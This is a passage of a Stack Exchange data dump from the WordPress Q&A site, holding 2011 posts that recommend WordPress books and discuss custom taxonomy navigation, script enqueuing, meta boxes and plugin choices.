  <row Id="8052" PostTypeId="2" ParentId="8050" CreationDate="2011-01-29T14:52:35.277" Score="1" ViewCount="" Body="&lt;h1&gt;WordPress User Guide&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;By &lt;a href=&quot;http://davidcoveney.com/&quot; rel=&quot;nofollow&quot;&gt;David Coveney&lt;/a&gt;, director of &lt;a href=&quot;http://interconnectit.com/&quot; rel=&quot;nofollow&quot;&gt;InterconnectIT&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Our WordPress User Guide takes you&#xA;  through the process of setting up a&#xA;  WordPress blog, entering and editing&#xA;  content, managing comments, building&#xA;  menus and so much more.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Book was written as &lt;strong&gt;training manual for novice users&lt;/strong&gt; and covers how to operate WordPress-based site. Note that installation and configuration are not covered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Available as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;free PDF download&lt;/strong&gt; (for personal use and distribution in free educational establishments)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;high resolution PDF download&lt;/strong&gt;, &lt;em&gt;£4 incl VAT (Appx $6)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;paid .docx download&lt;/strong&gt; customizable and rebrandable at price of &lt;em&gt;£75 incl VAT&#xA;(Appx $120 US)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://interconnectit.com/products/wordpress-user-guide/&quot; rel=&quot;nofollow&quot;&gt;http://interconnectit.com/products/wordpress-user-guide/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-03-02T13:24:31.513" LastActivityDate="2011-03-02T13:24:31.513" CommunityOwnedDate="2011-01-29T15:13:02.630" />
  <row Id="8053" PostTypeId="2" ParentId="8051" CreationDate="2011-01-29T15:01:51.553" Score="3" ViewCount="" Body="&lt;p&gt;Roughly this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$parent = get_post_field( 'post_parent', $id);&#xA;$link = get_permalink($parent);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-29T15:01:51.553" CommentCount="1" />
  <row Id="8054" PostTypeId="2" ParentId="7896" CreationDate="2011-01-29T15:06:37.613" Score="0" ViewCount="" Body="&lt;p&gt;So far the best plugin that I have tested to order pages by language is CMS Tree Page View.&#xA;It allows you to select the language in which to order pages. Ordering is done in a drag and drop tree view.&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/cms-tree-page-view/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/cms-tree-page-view/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2450" LastActivityDate="2011-01-29T15:06:37.613" />
  <row Id="8055" PostTypeId="2" ParentId="8050" CreationDate="2011-01-29T15:11:10.323" Score="6" ViewCount="" Body="&lt;h1&gt;Digging into WordPress&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;By &lt;a href=&quot;http://perishablepress.com/&quot; rel=&quot;nofollow&quot;&gt;Jeff Starr&lt;/a&gt; and &lt;a href=&quot;http://chriscoyier.net/&quot; rel=&quot;nofollow&quot;&gt;Chris Coyier&lt;/a&gt; of &lt;a href=&quot;http://digwp.com/&quot; rel=&quot;nofollow&quot;&gt;popular WordPress blog by same name&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;From your first steps of learning&#xA;  about WordPress all the way through&#xA;  maintaining a site throughout the&#xA;  years, this book is packed with truly&#xA;  practical information.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://digwp.com/wp-content/themes/DiggingIntoWordPress-2/images/sidebarbook.png&quot; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Large solid books that covers &lt;strong&gt;multiple topics&lt;/strong&gt; from installation to internals, customization and maintenance. For &lt;strong&gt;wide range of users&lt;/strong&gt; from novice to intermediary+. Updated for major WordPress releases (currently contains updates for 2.9 and 3.0).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Available as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;paper+PDF&lt;/strong&gt; bundle, $70&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;PDF&lt;/strong&gt; download, $27&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://digwp.com/book-demo/Digging-Into-WP-DEMO.pdf&quot; rel=&quot;nofollow&quot;&gt;Sample (PDF)&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://digwp.com/book/&quot; rel=&quot;nofollow&quot;&gt;http://digwp.com/book/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-01-30T14:29:53.177" LastActivityDate="2011-01-30T14:29:53.177" CommunityOwnedDate="2011-01-29T15:11:10.323" CommentCount="1" />
  <row Id="8056" PostTypeId="2" ParentId="8050" CreationDate="2011-01-29T15:26:19.993" Score="1" ViewCount="" Body="&lt;h1&gt;Build Your Own Wicked WordPress Themes&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;authors:&lt;/strong&gt; &lt;a href=&quot;http://allancole.com/wordpress/&quot; rel=&quot;nofollow&quot;&gt;Allan Cole&lt;/a&gt;, &lt;a href=&quot;http://www.raena.net/&quot; rel=&quot;nofollow&quot;&gt;Raena Jackson Armitage&lt;/a&gt;, &lt;a href=&quot;http://blog.epicerastudio.com/&quot; rel=&quot;nofollow&quot;&gt;Brandon R. Jone&lt;/a&gt;s and &lt;a href=&quot;http://jeffrey-way.com/&quot; rel=&quot;nofollow&quot;&gt;Jeffrey Way&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;We'll simplify your life as a&#xA;  developer by introducing you to the&#xA;  Thematic framework, so that building&#xA;  solid themes is a breeze! You'll also&#xA;  learn how to maximize profits by&#xA;  effectively marketing and selling your&#xA;  themes on the Web's biggest&#xA;  marketplaces.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20100831-223240.png&quot; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;topic(s) covered:&lt;/strong&gt; General WordPress overview, theme customization and development&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;user level targeted:&lt;/strong&gt; adv. beginner/intermediate&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;form:&lt;/strong&gt; Paperback, MOBI, PDF, EPUB&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;pricing:&lt;/strong&gt; $40USD, $30USD Digital Bundle&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.sitepoint.com/books/wordpress1/toc.php&quot; rel=&quot;nofollow&quot;&gt;Table of contents&lt;/a&gt;, &lt;a href=&quot;http://www.sitepoint.com/books/wordpress1/samplechapters.php&quot; rel=&quot;nofollow&quot;&gt;request sample&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;link to home site:&lt;/strong&gt; &lt;a href=&quot;http://www.sitepoint.com/books/wordpress1/&quot; rel=&quot;nofollow&quot;&gt;http://www.sitepoint.com/books/wordpress1/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No affiliation, just a happy purchaser&lt;/p&gt;&#xA;" OwnerUserId="2709" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-01-29T19:44:55.447" LastActivityDate="2011-01-29T19:44:55.447" CommunityOwnedDate="2011-01-29T15:26:19.993" />
  <row Id="8057" PostTypeId="2" ParentId="8050" CreationDate="2011-01-29T15:27:07.683" Score="1" ViewCount="" Body="&lt;h1&gt;WordPress Plugin Development – Beginner’s Guide&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;By &lt;a href=&quot;http://www.prelovac.com/vladimir/&quot; rel=&quot;nofollow&quot;&gt;Vladimir Prelovac&lt;/a&gt;, professional WordPress developer.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The book consists of 8 chapters, six&#xA;  of which are dealing with development&#xA;  of actual plugins from scratch [...]&#xA;  Introductory chapter explains why&#xA;  engage in WordPress plugin development&#xA;  and shows the best tools for the job.&#xA;  Final chapter deals with plugin&#xA;  localization, promotion, providing&#xA;  support and few other handy tips.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://ecx.images-amazon.com/images/I/51V7mf-ZXPL._BO2,204,203,200_AA240_SH20_OU01_.jpg&quot; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Book that focuses on WordPress &lt;strong&gt;plugin development for programmers&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Available as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;paper&lt;/strong&gt;, ~$30-35 via Amazon&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;paper+ebook&lt;/strong&gt;, ~$40 via packt&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.packtpub.com/toc/wordpress-plugin-development-beginners-guide-table-contents&quot; rel=&quot;nofollow&quot;&gt;Table of contents&lt;/a&gt;, &lt;a href=&quot;https://www.packtpub.com/sites/default/files/sample_chapters/wordpress-plugin-development-sample-chapter-2-social-bookmarking_0.pdf&quot; rel=&quot;nofollow&quot;&gt;sample chapter (PDF)&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.prelovac.com/vladimir/wordpress-plugin-development-book&quot; rel=&quot;nofollow&quot;&gt;http://www.prelovac.com/vladimir/wordpress-plugin-development-book&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-01-29T19:46:51.030" LastActivityDate="2011-01-29T19:46:51.030" CommunityOwnedDate="2011-01-29T15:27:07.683" />
  <row Id="8058" PostTypeId="1" AcceptedAnswerId="8063" CreationDate="2011-01-29T15:33:01.933" Score="0" ViewCount="319" Body="&lt;p&gt;I want to use &lt;code&gt;next_post_link&lt;/code&gt; and &lt;code&gt;prev_post_link&lt;/code&gt; to return only the next post in my custom taxonomy of a custom post type. I have a custom post type called &quot;work_posts&quot; which has the taxonomy &quot;work_categories&quot; assigned. The category I want to show is called 'all'. I looked up &lt;code&gt;get_adjacent_post&lt;/code&gt; in the &quot;link-template.php&quot; which has a few filters which should make it possible to make such a query but my SQL is not good enough to make the right query. The hooks are: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;get_{$adjacent}_post_join&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;get_{$adjacent}_post_where&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;get_{$adjacent}_post_sort&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;if I log a query in the join hook I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INNER JOIN wp_term_relationships AS tr &#xA;ON p.ID = tr.object_id &#xA;INNER JOIN wp_term_taxonomy tt &#xA;ON tr.term_taxonomy_id = tt.term_taxonomy_id &#xA;AND tt.taxonomy = 'category' &#xA;AND tt.term_id IN (3)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;how do I modify this to only show posts from my custom taxonomy?&lt;/p&gt;&#xA;" OwnerUserId="2554" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-01-29T15:39:12.970" LastActivityDate="2011-01-29T19:07:52.043" Title="next_post_link on custom taxonomy" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="8059" PostTypeId="2" ParentId="8027" CreationDate="2011-01-29T15:40:26.560" Score="0" ViewCount="" Body="&lt;p&gt;As &lt;a href=&quot;http://wordpress.stackexchange.com/users/1468/t31os&quot;&gt;t31os&lt;/a&gt; said, first thing you should do is disable all plugins, see if wp-admin/post-new.php works fine then, and re-enable them one by one, see which one is causing trouble.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would start with the plugin to change the admin theme, since this is the closest one to the admin dashboard.&lt;/p&gt;&#xA;" OwnerUserId="298" LastActivityDate="2011-01-29T15:40:26.560" CommentCount="2" />
  <row Id="8060" PostTypeId="2" ParentId="8043" CreationDate="2011-01-29T15:46:58.127" Score="1" ViewCount="" Body="&lt;p&gt;There's &lt;a href=&quot;http://wordpress.org/extend/plugins/tweet-blender/&quot; rel=&quot;nofollow&quot;&gt;Twitter Blender&lt;/a&gt;, seems pretty flexible and full of options:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Provides several Twitter widgets: show&#xA;  your own tweets, show tweets relevant&#xA;  to post's tags, show tweets for&#xA;  Twitter lists, show tweets for hasht&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/twitter-hash-tag-widget/&quot; rel=&quot;nofollow&quot;&gt;Twitter Hash Tag Widget&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A widget for displaying the most&#xA;  recent twitter status updates for a&#xA;  particular hash tag.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/twitter-tracker/&quot; rel=&quot;nofollow&quot;&gt;Twitter Tracker&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A widget which allows you to specify&#xA;  and display a Twitter search (or a&#xA;  Twitter hashtag) in your sidebar.&#xA;  Twitter searches are very flexible,&#xA;  and you can display anything from&#xA;  Hashtags to individual, or aggregated&#xA;  Twitter streams.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Hope these work. To add shortcode support would be pretty easy for any of the developers of these plugins, so it would just be a matter of asking them to do so.&lt;/p&gt;&#xA;" OwnerUserId="298" LastActivityDate="2011-01-29T15:46:58.127" />
  <row Id="8061" PostTypeId="2" ParentId="8011" CreationDate="2011-01-29T16:54:05.437" Score="2" ViewCount="" Body="&lt;p&gt;Actually i'm pretty sure it's Movable Type. And honestly, it's about as simple a theme as you could find.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I were you, I'd start with the &lt;a href=&quot;http://themeshaper.com/thematic/&quot; rel=&quot;nofollow&quot;&gt;Thematic&lt;/a&gt; framework and add a tiny bit of CSS. Shouldn't need much more than that!&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-01-29T16:54:05.437" />
  <row Id="8063" PostTypeId="2" ParentId="8058" CreationDate="2011-01-29T19:07:52.043" Score="1" ViewCount="" Body="&lt;p&gt;Take a look at &lt;a href=&quot;http://wordpress.org/extend/plugins/ambrosite-nextprevious-post-link-plus/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/ambrosite-nextprevious-post-link-plus/&lt;/a&gt;&#xA;Its a plugin that adds extra missing functionality to next_post_link and prev_post_link functions.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-29T19:07:52.043" CommentCount="1" />
  <row Id="8064" PostTypeId="1" AcceptedAnswerId="8075" CreationDate="2011-01-29T19:24:26.370" Score="1" ViewCount="164" Body="&lt;p&gt;I want to know the correct way to load existing scripts in &lt;code&gt;wp-includes/js/jquery/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example I want to load &lt;code&gt;jQuery UI Tabs&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have done for now &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function sample_exists_code() {&#xA;   echo '&amp;lt;script type=&quot;text/javascript&quot; src=&quot;'. CONSTANTS_JS .'/jquery.js&quot;&amp;gt;&amp;lt;/script&amp;gt;'.&quot;\n&quot;; &#xA;   echo '&amp;lt;script type=&quot;text/javascript&quot; src=&quot;'. CONSTANTS_JS .'/jquery-ui.js&quot;&amp;gt;&amp;lt;/script&amp;gt;'.&quot;\n&quot;; &#xA;}    &#xA;add_action('admin_head', 'sample_exists_code');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this code working fine to load the UI tabs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I try use this code and it's not working&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function sample_exists_code() {&#xA;    wp_enqueue_script('jquery');   &#xA;    wp_enqueue_script('jquery-ui-tabs');            &#xA;}    &#xA;add_action('admin_head', 'sample_exists_code');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let me know the correct way to call the existing scripts.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Update :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// load existings js and template css.&#xA;function sample_admin_js_head()&#xA;{&#xA;    wp_enqueue_script('jquery-ui-tabs', null, array('jquery-ui-core','jquery'), null, false);&#xA;    echo '&amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;' . CONSTANTS_STYLES . '/style.css&quot; /&amp;gt;' . &quot;\n&quot;;&#xA;}&#xA;&#xA;// load up the menu page&#xA;function sample_add_page()&#xA;{&#xA;    $optionpage = add_theme_page(__('Theme Options'), __('Theme Options'), 'edit_theme_options', 'sample', 'sample_do_template');&#xA;    add_action( &quot;admin_print_scripts-$optionpage&quot;, 'sample_admin_js_head' );&#xA;}&#xA;&#xA;add_action('admin_menu', 'sample_add_page');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2163" LastEditorUserId="2163" LastEditorDisplayName="" LastEditDate="2011-01-29T22:05:07.637" LastActivityDate="2011-01-29T22:05:07.637" Title="How to load default scripts included with WordPress correctly?" Tags="&lt;plugins&gt;&lt;jquery&gt;&lt;theme-options&gt;" AnswerCount="3" FavoriteCount="0" />
  <row Id="8065" PostTypeId="2" ParentId="8050" CreationDate="2011-01-29T19:29:43.763" Score="6" ViewCount="" Body="&lt;h1&gt;Professional WordPress Plugin Development&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;By:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://strangework.com/&quot; rel=&quot;nofollow&quot;&gt;Brad Williams&lt;/a&gt;,  co-author of &quot;Professional WordPress&quot; book&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://planetozh.com/blog/&quot; rel=&quot;nofollow&quot;&gt;Ozh Richard&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://justintadlock.com/&quot; rel=&quot;nofollow&quot;&gt;Justin Tadlock&lt;/a&gt; of &lt;a href=&quot;http://themehybrid.com/&quot; rel=&quot;nofollow&quot;&gt;Theme Hybrid&lt;/a&gt; and &lt;a href=&quot;http://devpress.com/&quot; rel=&quot;nofollow&quot;&gt;DevPress&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;(editor) &lt;a href=&quot;http://andrewnacin.com/&quot; rel=&quot;nofollow&quot;&gt;Andrew Nacin&lt;/a&gt;, WordPress core developer&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The trio of established authors&#xA;  provides a practical, solutions-based&#xA;  approach along with a collection of&#xA;  timely examples and plenty of code,&#xA;  all aimed at clearly explaining how to&#xA;  create a plugin file, work with users,&#xA;  integrate widgets, add menus and&#xA;  submenus, secure your plugins, and&#xA;  more.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://ecx.images-amazon.com/images/I/51PXxEjt%2BQL._SL500_AA240_.jpg&quot; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Plugin development&lt;/strong&gt; for range from &lt;strong&gt;hobbyists to professionals&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.wrox.com/WileyCDA/WroxTitle/Professional-WordPress-Plugin-Development.productCd-0470916222.html&quot; rel=&quot;nofollow&quot;&gt;Wrox paper&lt;/a&gt;, $45&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.wrox.com/WileyCDA/WroxTitle/Professional-WordPress-Plugin-Development.productCd-1118075307.html&quot; rel=&quot;nofollow&quot;&gt;Wrox ebook&lt;/a&gt; (PDF, social DRM), $45 &lt;a href=&quot;https://twitter.com/#!/ozh/status/43378069972582400&quot; rel=&quot;nofollow&quot;&gt;-35% with &lt;code&gt;FROST&lt;/code&gt; discount code&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/0470916222&quot; rel=&quot;nofollow&quot;&gt;Amazon preorder&lt;/a&gt;, ~$30&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/B004PGMI2I&quot; rel=&quot;nofollow&quot;&gt;Kindle&lt;/a&gt;, $38&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://planetozh.com/blog/books/professional-wordpress-plugin-development/5/&quot; rel=&quot;nofollow&quot;&gt;Full table of content&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Samples (PDF):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://media.wiley.com/product_data/excerpt/22/04709162/0470916222-179.pdf&quot; rel=&quot;nofollow&quot;&gt;Excerpt 1&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://media.wiley.com/product_data/excerpt/22/04709162/0470916222-180.pdf&quot; rel=&quot;nofollow&quot;&gt;Excerpt 2&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://media.wiley.com/product_data/excerpt/22/04709162/0470916222-181.pdf&quot; rel=&quot;nofollow&quot;&gt;Excerpt 3&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-03-03T20:55:47.347" LastActivityDate="2011-03-03T20:55:47.347" CommunityOwnedDate="2011-01-29T19:29:43.763" />
  <row Id="8066" PostTypeId="1" CreationDate="2011-01-29T19:30:56.790" Score="1" ViewCount="320" Body="&lt;p&gt;I'm presently moving my site from a different CMS.  Geeklog to Wordpress.  They have an event plugin that I used which is very simple.  This is it...  &lt;a href=&quot;http://www.portalparts.com/staticpages/index.php?page=glEventMgr&amp;amp;query=event&quot; rel=&quot;nofollow&quot;&gt;http://www.portalparts.com/staticpages/index.php?page=glEventMgr&amp;amp;query=event&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I run comedy open mics and everyone on the website is a comedian.  They all have a login.  The ones out there for Wordpress are great, but they don't seem to tie in with your user database.  On this plugin above for the other CMS they were able to login, click an event and register for it with one more click.  I could set a limit on how many could sign up, they could unregister themselves, Email registrants etc...  No forms to fill out, nothing but logging in and making a couple clicks.  I've been searching through all the WP event plugins and none seem to do this.  They all make you fill out fields to register.  If anyone knows of a plugin that does what I'm looking for or can help in any way, please let me know! &#xA;Thanks,&#xA;B&lt;/p&gt;&#xA;" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-01-29T20:09:58.800" LastActivityDate="2011-06-04T09:57:33.893" Title="Is there a Wordpress Event Manager that links with your user database?" Tags="&lt;plugin-recommendation&gt;&lt;plugins&gt;&lt;customization&gt;&lt;events&gt;" AnswerCount="4" FavoriteCount="2" />
  <row Id="8067" PostTypeId="1" AcceptedAnswerId="8071" CreationDate="2011-01-29T19:51:59.167" Score="1" ViewCount="284" Body="&lt;p&gt;I am adding a meta box in the create post/page interface and I want to get the ID of the post being edited/created so I can dynamically display the value of the input field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the wordpress codex &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/add_meta_box&lt;/a&gt;: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Prints the box content */&#xA;function myplugin_inner_custom_box() {&#xA;&#xA;  // Use nonce for verification&#xA;  wp_nonce_field( plugin_basename(__FILE__), 'myplugin_noncename' );&#xA;&#xA;  // The actual fields for data entry&#xA;  echo '&amp;lt;label for=&quot;myplugin_new_field&quot;&amp;gt;' . __(&quot;Description for this field&quot;, 'myplugin_textdomain' ) . '&amp;lt;/label&amp;gt; ';&#xA;  echo '&amp;lt;input type=&quot;text&quot; id= &quot;myplugin_new_field&quot; name=&quot;myplugin_new_field&quot; value=&quot;whatever&quot; size=&quot;25&quot; /&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I pass the ID to &lt;code&gt;myplugin_inner_custom_box()&lt;/code&gt;? So I can use the following within it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Get the value of the meta key that is associated to the page&#xA;  $as_meta_value = get_post_meta( $post_id, 'as_link_to_image', true );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and replace the &lt;code&gt;whatever&lt;/code&gt; value with the value of the meta key in the input field.&lt;/p&gt;&#xA;" OwnerUserId="1649" LastEditorUserId="1649" LastEditorDisplayName="" LastEditDate="2011-01-29T19:57:57.020" LastActivityDate="2011-01-29T20:56:29.897" Title="Get post ID from the Create post/page admin interface?" Tags="&lt;plugin-development&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="8068" PostTypeId="2" ParentId="8064" CreationDate="2011-01-29T20:07:17.323" Score="1" ViewCount="" Body="&lt;p&gt;Codex docs on &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_enqueue_script()&lt;/code&gt;&lt;/a&gt; strongly recommend to only hook it to &lt;code&gt;init&lt;/code&gt;. Examples also show using &lt;code&gt;admin_init&lt;/code&gt; for admin area, but I am not entirely sure this is recommended.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-29T20:07:17.323" />
  <row Id="8069" PostTypeId="2" ParentId="8064" CreationDate="2011-01-29T20:08:42.927" Score="1" ViewCount="" Body="&lt;p&gt;Got it worked :)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function sample_exists_code() {&#xA;wp_enqueue_script('jquery-ui-tabs', null, array('jquery-ui-core', 'jquery'), null, false);     &#xA;}    &#xA;add_action('admin_init', 'sample_exists_code');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2163" LastActivityDate="2011-01-29T20:08:42.927" />
  <row Id="8070" PostTypeId="1" CreationDate="2011-01-29T20:11:19.923" Score="0" ViewCount="53" Body="&lt;p&gt;im trying to redirect the loggedin user to a page i created on the backend, i want to use my index to do so&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so, i added a &lt;code&gt;do_action&lt;/code&gt; wrapped in an if statement &lt;code&gt;is_user_loggedin()&lt;/code&gt; to call my function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here's the function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_redirect() {&#xA;  global $bp;&#xA;&#xA; if ( $bp-&amp;gt;current_component == $bp-&amp;gt;root_domain ) {&#xA;  bp_core_redirect($bp-&amp;gt;current_component == MY_CUSTOM_SLUG  );&#xA;  }&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it's not working. The page shows when you navigate to it, but it wont redirect when viewing the root page (index).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's whats in the index.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?php if ( is_user_logged_in() ) : ?&amp;gt;&#xA;&#xA; &amp;lt;?php do_action( 'my_redirect'); ?&amp;gt;&#xA;&#xA; &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks ahead of time :)&lt;/p&gt;&#xA;" OwnerUserId="2741" LastEditorUserId="2741" LastEditorDisplayName="" LastEditDate="2011-01-29T23:03:51.787" LastActivityDate="2011-01-29T23:03:51.787" Title="2 small questions: How to redirect to a created page &amp; show that pages 